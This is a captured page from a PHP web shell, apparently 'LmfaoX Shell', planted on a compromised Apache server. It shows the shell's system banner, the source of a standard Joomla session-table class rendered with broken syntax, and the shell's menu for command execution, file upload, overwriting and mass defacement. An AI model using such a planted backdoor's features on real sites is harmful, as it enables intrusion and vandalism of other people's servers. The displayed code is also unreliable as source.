ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:19.76 GB of 70.42 GB (28.06%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ yalagina/ libraries/ joomla/ database/ table/ - drwxr-xr-x

Directory:
Viewing file:     session.php (4.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package     Joomla.Platform
 * @subpackage  Database
 *
 * @copyright   Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

jimport('joomla.database.table');

/**
 * Session table
 *
 * @package     Joomla.Platform
 * @subpackage  Table
 * @since       11.1
 */
class JTableSession extends JTable
{
    
/**
     * Constructor
     *
     * @param   JDatabase  &$db  A database connector object.
     *
     * @since   11.1
     */
    
public function __construct(&$db)
    {
        
parent::__construct('#__session''session_id'$db);

        
$this->guest 1;
        
$this->username '';
    }

    
/**
     * Insert a session
     *
     * @param   string   $sessionId  The session id
     * @param   integer  $clientId   The id of the client application
     *
     * @return  boolean  True on success
     *
     * @since   11.1
     */
    
public function insert($sessionId$clientId)
    {
        
$this->session_id $sessionId;
        
$this->client_id $clientId;

        
$this->time time();
        
$ret $this->_db->insertObject($this->_tbl$this'session_id');

        if (!
$ret)
        {
            
$this->setError(JText::sprintf('JLIB_DATABASE_ERROR_STORE_FAILED'strtolower(get_class($this)), $this->_db->stderr()));
            return 
false;
        }
        else
        {
            return 
true;
        }
    }

    
/**
     * Updates the session
     *
     * @param   boolean  $updateNulls  True to update fields even if they are null.
     *
     * @return  boolean  True on success.
     *
     * @since   11.1
     */
    
public function update($updateNulls false)
    {
        
$this->time time();
        
$ret $this->_db->updateObject($this->_tbl$this'session_id'$updateNulls);

        if (!
$ret)
        {
            
$this->setError(JText::sprintf('JLIB_DATABASE_ERROR_STORE_FAILED'strtolower(get_class($this)), $this->_db->stderr()));
            return 
false;
        }
        else
        {
            return 
true;
        }
    }

    
/**
     * Destroys the pre-existing session
     *
     * @param   integer  $userId     Identifier of the user for this session.
     * @param   array    $clientIds  Array of client ids for which session(s) will be destroyed
     *
     * @return  boolean  True on success.
     *
     * @since   11.1
     */
    
public function destroy($userId$clientIds = array())
    {
        
$clientIds implode(','$clientIds);

        
$query $this->_db->getQuery(true);
        
$query->delete();
        
$query->from($this->_db->quoteName($this->_tbl));
        
$query->where($this->_db->quoteName('userid') . ' = ' $this->_db->quote($userId));
        
$query->where($this->_db->quoteName('client_id') . ' IN (' $clientIds ')');
        
$this->_db->setQuery($query);

        if (!
$this->_db->query())
        {
            
$this->setError($this->_db->stderr());
            return 
false;
        }

        return 
true;
    }

    
/**
     * Purge old sessions
     *
     * @param   integer  $maxLifetime  Session age in seconds
     *
     * @return  mixed  Resource on success, null on fail
     *
     * @since   11.1
     */
    
public function purge($maxLifetime 1440)
    {
        
$past time() - $maxLifetime;
        
$query $this->_db->getQuery(true);
        
$query->delete();
        
$query->from($this->_db->quoteName($this->_tbl));
        
$query->where($this->_db->quoteName('time') . ' < ' . (int) $past);
        
$this->_db->setQuery($query);

        return 
$this->_db->query();
    }

    
/**
     * Find out if a user has a one or more active sessions
     *
     * @param   integer  $userid  The identifier of the user
     *
     * @return  boolean  True if a session for this user exists
     *
     * @since   11.1
     */
    
public function exists($userid)
    {
        
$query $this->_db->getQuery(true);
        
$query->select('COUNT(userid)');
        
$query->from($this->_db->quoteName($this->_tbl));
        
$query->where($this->_db->quoteName('userid') . ' = ' $this->_db->quote($userid));
        
$this->_db->setQuery($query);

        if (!
$result $this->_db->loadResult())
        {
            
$this->setError($this->_db->stderr());
            return 
false;
        }

        return (boolean) 
$result;
    }

    
/**
     * Overloaded delete method
     *
     * We must override it because of the non-integer primary key
     *
     * @param   integer  $oid  The object id (optional).
     *
     * @return  mixed  True if successful otherwise an error message
     *
     * @since   11.1
     */
    
public function delete($oid null)
    {
        
//if (!$this->canDelete($msg))
        //{
        //    return $msg;
        //}

        
$k $this->_tbl_key;
        if (
$oid)
        {
            
$this->$k $oid;
        }

        
$query $this->_db->getQuery(true);
        
$query->delete();
        
$query->from($this->_db->quoteName($this->_tbl));
        
$query->where($this->_db->quoteName($this->_tbl_key) . ' = ' $this->_db->quote($this->$k));
        
$this->_db->setQuery($query);

        if (
$this->_db->query())
        {
            return 
true;
        }
        else
        {
            
$this->setError($this->_db->getErrorMsg());
            return 
false;
        }
    }
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.682 seconds